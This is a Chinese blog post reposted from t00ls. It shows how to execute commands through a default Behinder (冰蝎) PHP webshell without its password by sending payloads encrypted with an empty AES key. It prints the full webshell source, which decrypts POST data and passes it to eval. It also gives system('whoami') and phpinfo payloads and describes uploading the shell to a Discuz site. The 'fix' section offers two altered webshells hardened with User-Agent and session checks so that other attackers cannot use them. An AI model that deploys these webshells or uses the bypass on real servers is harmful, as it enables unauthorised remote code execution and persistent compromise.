当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
绕过冰蝎默认php马子密码,执行命令
0x02 产生原因
0x03 复现
0x04 修复方案
原文第一篇来自:https://www.t00ls.net/articles-56337.html 作者:kl_520
PS:膜拜tools 的大佬们
绕过冰蝎默认php马子密码,执行命令
冰蝎默认php 马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?> |
本地搭建Discuz 环境,直接将WebShell.php 上传到update 目录下

冰蝎马子我用的是现在最新版本2.0.1 版本,马子在server 文件下,文件名为shell.php,我上传的时候改为了webshell.php

访问页面是这样的,状态码显示200

砸门啥也不管,直接上冰蝎连接,输入webshell地址+默认webshell 密码,其它保持默认不用管,点击【保存】按钮

成功链接上

0x02 产生原因
当有get有参数pass时,随机一个密码给session[k]并打印出来
1 2 3 4 5 6 | if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } |
如果get没有参数pass时,读取session[k] 来当作解密的密钥,接收 put 的数据,解密然后通过 | 分割执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | { $key=$_SESSION['k']; $post=file_get_contents("php://input").''; if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; @eval($params); } |
此时我们最开始时不要访问 shell.php?pass=1 那么seesion[k]就不会被赋值,也就是空。
记住千万不要访问,如果访问了清空缓存再试,通过 openssl_encrypt('|phpinfo();','AES128',''); 加密phpinfo。// key值 为空
然后echo 加密后的值,post 提交给冰蝎马。那么phpinfo();也会被执行成功,即可不需要密码就能连接默认冰蝎php马的webshell。
0x03 复现
我的电脑环境就是复现不成功,不知道为啥.... ....扯淡,弄半天了,朋友跟我思路一样,步骤也一样为什么就复现不出来... ...,无语
此处,盗用它的图来做演示好了
首先
1 2 3 | <?php openssl_encrypt('|phpinfo();','AES128',''); ?> |
得到加密后的phpinfo:4eNW........
执行phpinfo

执行whoami
1 2 3 | <?php openssl_encrypt('|system("whoami");','AES128',''); ?> |

0x04 修复方案
自己改吧
这里提供tools上大佬们提供的解决方案
第一种:
连接的时候把UA设置成:123321666
PS:但通过UA 特征会比较明显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input").''; if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } if($_SERVER['HTTP_USER_AGENT'] == '123321666'){ $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; @eval($params); } } ?> |
第二种:
判断seesion
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else if (!empty($_SESSION['k'])) { $key=$_SESSION['k']; $post=file_get_contents("php://input").''; if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } if($_SERVER['HTTP_USER_AGENT'] == '123321666') { $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; @eval($params); } } ?> |
参考链接:
https://www.t00ls.net/articles-56337.html
虽然我们生活在阴沟里,但依然有人仰望星空!